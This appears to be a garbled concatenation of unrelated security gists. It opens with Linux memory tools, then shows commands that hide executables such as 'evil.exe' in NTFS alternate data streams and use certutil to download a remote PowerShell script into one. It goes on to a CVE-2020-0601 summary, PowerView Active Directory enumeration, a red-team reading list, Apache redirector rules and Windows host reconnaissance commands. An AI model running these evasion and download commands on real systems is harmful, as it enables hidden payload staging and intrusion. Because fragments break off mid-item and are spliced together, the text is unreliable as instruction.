Andréw Hüang cowbe0x004

Understanding the Memory Layout of Linux Executables

Required tools for playing around with memory:

hexdump
objdump
readelf
xxd
gcore

Add content to ADS

type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"

extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe

findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt

makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab

CVE-2020-0601 AKA ChainOfFools OR CurveBall

General

Microsoft disclosed a vulnerability in their monthly Patch Tuesday referenced under CVE-2020-0601.
The vulnerability was discovered by the U.S. National Security Agency, anounced today (2020-01-14) in their press conference, followed by a blog post and an official security advisory.
The flaw is located in the "CRYPT32.DLL" file under the C:\Windows\System32\ directory.

Vulnerability explanation

NSA description:
NSA has discovered a critical vulnerability (CVE-2020-0601) affecting Microsoft Windows® cryptographic functionality.

Export and import search engines from Chrome/Edge/Brave to Chrome/Edge/Brave

Bonus: Firefox to Firefox, see instructions at the bottom

As discussed here: brave/brave-browser#695

Thanks to the excellent answer by @Redsandro I was able to do this on Windows, which I'll document below because my future self will inevitably find this via Google a few years from now. Since it's using SQLite it should not be too hard to adapt for Macos and Linux.

Edit: this method still worked as of 9/3/2023. :)

	# NOTE: the most updated version of PowerView (http://www.harmj0y.net/blog/powershell/make-powerview-great-again/)
	# has an updated tricks Gist at https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993

	# get all the groups a user is effectively a member of, 'recursing up'
	Get-NetGroup -UserName <USER>

	# get all the effective members of a group, 'recursing down'
	Get-NetGroupMember -GoupName <GROUP> -Recurse

	# get the effective set of users who can administer a server

	From: http://redteams.net/bookshelf/
	Techie

	Unauthorised Access: Physical Penetration Testing For IT Security Teams by Wil Allsopp.
	Social Engineering: The Art of Human Hacking by Christopher Hadnagy
	Practical Lock Picking: A Physical Penetration Tester's Training Guide by Deviant Ollam
	The Art of Deception: Controlling the Human Element of Security by Kevin Mitnick
	Hacking: The Art of Exploitation by Jon Erickson and Hacking Exposed by Stuart McClure and others.
	Nmap Network Scanning: The Official Nmap Project Guide to Network Discovery and Security Scanning by Fyodor
	The Shellcoder's Handbook: Discovering and Exploiting Security Holes by several authors

	#
	# TO-DO: set \|DESTINATIONURL\| below to be whatever you want e.g. www.google.com. Do not include "http(s)://" as a prefix. All matching requests will be sent to that url. Thanks @Meatballs__!
	#
	# Note this version requires Apache 2.4+
	#
	# Save this file into something like /etc/apache2/redirect.rules.
	# Then in your site's apache conf file (in /etc/apache2/sites-avaiable/), put this statement somewhere near the bottom
	#
	# Include /etc/apache2/redirect.rules
	#

	#!/usr/bin/env python3

	import censys.certificates
	import censys.ipv4
	from sys import argv

	UID = "CHANGE"
	SECRET = "CHANGE"

	def is_cloudflare(dn):

	Windows version:
	reg query x64 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion

	Users who have authed to the system:
	ls C:\Users\

	System env variables:
	reg query x64 HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment

	Saved outbound RDP connections:

	{
	"mode": "patterns",
	"proxySettings": [
	{
	"address": "127.0.0.1",
	"port": 8080,
	"username": "",
	"password": "",
	"type": 1,
	"title": "127.0.0.1:8080",